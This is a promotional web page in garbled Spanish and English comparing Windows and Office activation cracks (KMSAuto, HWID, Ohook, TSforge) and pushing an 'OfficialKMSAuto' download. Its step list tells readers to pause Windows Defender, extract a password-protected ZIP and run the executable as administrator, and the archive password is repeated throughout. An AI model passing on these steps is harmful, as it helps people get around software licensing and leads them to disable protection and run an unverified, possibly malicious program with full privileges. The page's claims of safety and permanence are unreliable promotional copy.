KMSAuto vs HWID — Comparativa 2026
Este artículo es la guía completa en español sobre KMSAuto vs HWID en 2026. KMSAuto (KMS) gives a 180-day renewing lease; HWID gives a permanent digital license. Full comparison with use cases.
WYqejXiqBi97Este artículo es la guía completa en español sobre KMSAuto vs HWID en 2026. Both methods are bundled into OfficialKMSAuto. Pick HWID for Windows 10/11 Home/Pro permanence; pick KMSAuto's KMS engine for Enterprise, LTSC and Server editions.
Quick comparison
HWID is permanent and tied to your hardware. KMS is a 180-day renewing lease driven by a local KMS server.
- HWID — permanent, online handshake required once
- KMS — 180-day lease, auto-renews every 7 days
- Ohook — Office-only, permanent and offline
- TSforge — universal ticket, works on 24H2 + LTSC + Server
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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